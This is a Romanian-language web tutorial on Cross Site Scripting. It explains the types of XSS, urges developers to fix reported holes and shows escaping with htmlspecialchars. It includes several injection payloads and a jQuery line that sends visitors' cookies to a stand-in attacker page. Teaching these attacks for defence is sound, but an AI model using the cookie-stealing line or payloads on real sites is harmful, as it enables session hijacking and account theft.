Menu

XSS

De data aceasta vom vorbii despre Cross Site Scripting - XSS. Dar nu vom vorbii lucruri stupide despre el, aici nu suntem la gradinita ci pe un site despre programare!

1. Ce este XSS?

Cross Site Scripting este una din cele mai raspandite vurnerabilitati web. Ea ii permite atacatorului sa introduca cod HTML in pagina si automat cod JavaScript.
Cu ajutorul JavaScript si a unei vurnerabilitati XSS atacatorul poate face rost de asa numitele cookies si in foarte multe cazuri de sesiunea de autentificare a unui utilizator. Pe langa asta se mai poate modifica sursa astfel incat cand o sa va logati datele voastre de autentificare va vor fi trimise atacatorului. Posibilitati sunt foarte multe. Cu putina creativitate se mai poate si modifica codul HTML si crea pagini in semn de batjocura.

2. Scurta analiza XSS

O sa va spun din experienta mea lucruri despre XSS care sper ca o sa va arate care este situatia actuala a site-urilor.
  • 2.1 Ce-mi pasa, ce faci cu el?
  • In ziua de azi programatorii lenesi se pricep foarte bine la un lucru: sa faca un lucru doar cand e nevoie de el. Si asta este o decizie foarte proasta! Facem optimizare numai cand ne cer toate hostingurile sa cumparam un pachet mai mare, mai rezolvam cate un XSS numai cand ne-am facut de ras pe nustiuce forumuri, mai rezolvam cate un SQL Injection numai cand am ramas fara contul de admin. Dar oare de ce se mai trezeste din somn? Ca nici de el nu e nevoie. Lucrurile se fac deoarece trebuie sa fie facute. Un programator serios niciodata nu va spune ca un XSS e inutil, un programator serios va rezolva imediat vurnerabilitatea XSS in semn de respect pentru ca te-ai chinuit sa-l gasesti!


  • 2.2 Dar de ce l-ai cautat?
  • Aici este vina mentalitatii unor admini. E o gandire buna dar proasta, cumva copiata de la cei din guvern cu siteurile lor. Cum gandesc ei:
    Ii eliminam pe aia care cauta din distractie si raman infractorii! Ce plan bun baaaa! Sunt un geniu baaaaa!
    Asta este o prostie, cu ajutorul security researcher-ilor bugurile vor fi reparate si nu vor mai putea fi expluatate de cei care va vor raul! Sau oare ei cred ca unul care vrea sa le exporteze baza de date si sa o vanda pe forumuri va intra direct de pe ip-ul de acasa si eventual ii va da si e-mail in care ii spune numele lui?
    Dar, in cazul unui security researcher el uneori isi da si numele in e-mail ca semnatura, care ar fi sansele ca cineva ce-ti intinde o mana de ajutor sa te injunghie?

3. O mica observatie!

Cei care probabil s-au incumetat sa incerce securitatea siteurilor mai mari probabil ati observat unele din urmatoarele:
  • Yahoo are setat tokenul(salvat in cookie) pe httponly, asta le-a salvat pielea asa ca folositi-l si voi
  • N.A.S.A. are un tip de filtrare pentru inputurile simple si alt tip de filtrare pentru inputurile hidden - daca incurci metodele te-ai ars
  • Precizarea type la input conteaza d.pd.v. al securitatii
  • Ei ca aici am mai mult de scris. Am constatat cu uimire ca precizarea atributului type la inputuri va poate salva pielea in foarte multe din cazuri. De ce? Deoarece atributul type nu poate fi schimbat!
    Probabil nu am fost destul de clar cu raspunsul, explic imediat. Se da urmatorul cod:
    <input type="hidden" value="aa" onclick="alert(1337)">
    
    Acesta fiind rezultatul in urma expluatarii unui xss, inputul default fiind
    <input type="hidden" value="parametru vurnerabil"/> 
    Desigur avem filtrat > si nu se poate "scapa din input". Dar daca nu ar fi fost declarat fiti atenti ce s-ar fi intamplat, sa spunem ca ar fi fost doar:
    <input value="parametru vurnerabil"/>
    Am fi sa-i dam atributul type="image" si astfel sa-l putem expluata:
    <input value="" type="image" onerror="alert(1337)" src="x"/>
    Ei bine, acesta este un XSS la care nici nu m-as fi gandit acum o luna cand nici nu precizam atributul type la inputuri.
  • Toate siteurile mari romane sunt codate foarte prost din punct de vedere al securitatii! Unde-i filtrarea? Nu-i filtrarea!
  • Aaaa! Si da, legea nu permite ajutorul nostru in rezolvarea gaurilor de securitate. Vezi la Scurta analiza XSS punctul 2 de mai sus.

Tipuri de XSS

XSS-urile sunt de 2 tipuri:
  1. Persistene
  2. Acest XSS mai rar intalnit. De multe ori este cauza a doua XSS-uri. Primul intr-o variabila GET iar al doilea in COOKIE , cum cookie-ul se memoreaza pentru toate paginile siteurile XSS-ul se executa de fiecare data iar atunci apare acest tip de XSS si anume: XSS-ul Persistent. Cu ajutorul acestui XSS se pot captura datele din forumularul de login de exemplu si multe altele.
  3. Nepersistente
  4. Cel mai intalnit XSS, dar asta nu inseamna ca nu este "violent". Si cu acest XSS se pot captura datele din formularul de login cu putina imaginatie.
    Acest XSS insa este folosit foarte des pentru capturarea cookie-urilor si trimiterea lor pe serverul atacatorului. Este grav deoarece multe siteuri pastreaza sesiunea in cookie care nu sunt httponly. Exemplu de cod jQuery care trimite cookieurile pe o alta pagina:
    $('body').append('<img src="http://pagina-atacatorului.ro/cookie.php?c='+encodeURIComponent(document.cookie)+'"/>');
    
    Dupa cum vedeti se adauga o imagine si de aceea vizitatorul nici nu-si va da seama ca tocmai a fost tinta unui atac. Dar vina nu este a vizitatorului ci a programatorului care a facut website-ul.

Rezolvarea XSS-ului

Ok, poate ca privesc eu problema gresit. Poate ca programatorul chiar nu a stiut sau poate chiar nu mai stie cum sa rezolve vurnerabilitatea(aici doresc sa precizez ca multi security researcher-i ajuta si la rezolvarea vurnerabilitatii).
  • htmlspecialchars()
  • Folositi cu incredere peste tot htmlspecialchars sau htmlentities Mod de folosire corect a htmlspecialchars:
    <?php 
    # Folosim ENT_QUOTES pentru a-i spune sa filtreze ambele tipuri de ghilimele
    # Verificam daca este array pentru a evita Path Disclousure
    $var = (isset($_GET['var']) AND !is_array($_GET['var'])) ? htmlspecialchars($_GET['var'], ENT_QUOTES) : '';
    echo $var;
    ?>
    

Cum arata vectorii pentru XSS?

Este foarte recomandat sa-i stiti pentru a va apara contra lor. Ei bine cel mai folosit este celebrul:
"><script>alert(/XSS/);</script>
echivalent cu
"><script>alert(String.fromCharCode(88,83,83));</script>
la egalitate cu
"><script>alert(1);</script>
Mai este folosit si asa zisul XSS Locator, care testeaza ce caractere pot fi folosite si ce caractere nu pot fi folosite:
'';!--"<XSS>=&{()}
Multi alti vectori gasiti la adresa aceasta. Desigur nu toti mai functioneaza, multi au fost ucisi foarte crud de update-urile la browsere.



Ti-a placut articolul? Asigura-te ca-ti dam de veste cand publicam altele noi.


Tags: Tutoriale, Php

Comments Nota 0 din 0